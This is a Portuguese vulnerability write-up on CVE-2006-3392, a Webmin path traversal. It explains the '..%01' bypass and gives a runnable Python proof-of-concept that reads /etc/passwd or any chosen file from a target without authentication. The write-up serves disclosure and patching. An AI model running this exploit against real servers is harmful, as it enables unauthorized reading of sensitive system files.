Análise da CVE-2006-3392: path traversal no Webmin
A CVE-2006-3392[1] é uma vulnerabilidade de path traversal[3] identificada no Webmin[2], um sistema de configuração web para sistemas Unix-like, que afeta versões anteriores à 1.290. Essa falha ocorre devido à chamada da função `simplify_path` antes da decodificação de HTML. Através da construção de uma sequência de bytes de “..%01”, o atacante consegue bypassar a remoção das sequências de “../“ à esquerda de certos bytes (ex., “%01”), permitindo que o atacante leia o conteúdo de arquivos internos do servidor sem autenticação. A vulnerabilidade foi publicada por Kenny Chen em 30 de Junho de 2006.
Essa publicação está disponível também em: Inglês
Descrição
O Webmin é uma ferramenta de configuração web para sistemas Unix-like, que permite a configuração de recursos internos do sistema, incluindo usuários, disco, serviços e configurações de arquivos. Além disso, também possibilita a modificação e controle de programas open-source, como Apache HTTP Server, PHP, e MySQL, entre outros.
A vulnerabilidade em questão é um path traversal causado pela chamada da função `simplify_path` antes da decodificação de HTML. Utilizando uma sequência de “..%01”, um atacante consegue bypassar a remoção de sequências de “../“, o que permite a leitura do conteúdo de arquivos internos do servidor sem a necessidade de autenticação. Essa falha possibilita que invasores não autenticados leiam arquivos de dentro do sistema por meio de uma URL contendo um payload criado especialmente para isso.
O endpoint utilizado para o path traversal se encontra no diretório “/unauthenticated/”. O seu payload pode ser construído da seguinte forma:
Prova de Conceito
#!/usr/bin/env python3
import requests
import argparse
import re
def exploit(url, file):
if not re.match(r'^https?://', url):
url \= f"https://{url}"
payload \= "/unauthenticated" \+ "/..%01" \* 20
try:
if file is None:
file \= "/etc/passwd"
response \= requests.get(url \+ payload \+ file)
print(response.text)
except requests.exceptions.RequestException as e:
print(f"Error making request for {url} \-\> {e.reason}")
def main():
parser \= argparse.ArgumentParser(description="CVE-2006-3392")
parser.add\_argument("-t", "--target", required=True)
parser.add\_argument("-f", "--file")
args \= parser.parse\_args()
try:
exploit(args.target, args.file)
except KeyboardInterrupt:
exit(1)
except EOFError:
exit(1)
if \_\_name\_\_ \== '\_\_main\_\_':
main()
Impacto
O impacto dessa vulnerabilidade é considerado de alto risco, pois permite que um atacante não autenticado tenha acesso às informações sensíveis armazenadas no servidor. Esse acesso pode fornecer um entendimento detalhado da estrutura e configuração do sistema, o que, por sua vez, pode abrir caminho para o comprometimento total do sistema e de suas aplicações.
Conclusão
A vulnerabilidade do Webmin decorre de uma falha no tratamento adequado de sequências de “../“. Esse problema ocorre devido à chamada da função “simplify_path” antes da decodificação do HTML, permitindo a leitura de arquivos internos do sistema através de um path traversal.
O payload em questão utiliza a sequência de “..%01” na URL para explorar essa falha, possibilitando o acesso a arquivos sensíveis, como o “/etc/passwd”. Portanto, é crucial que os administradores de sistemas estejam cientes dessa vulnerabilidade e tomem medidas imediatas para atualizar o Webmin em sistemas legados, para mitigar riscos e proteger seus servidores.
Referências
- [1] MITRE - CVE-2006-3392
- [2] Webmin
- [3] OWASP - Path Traversal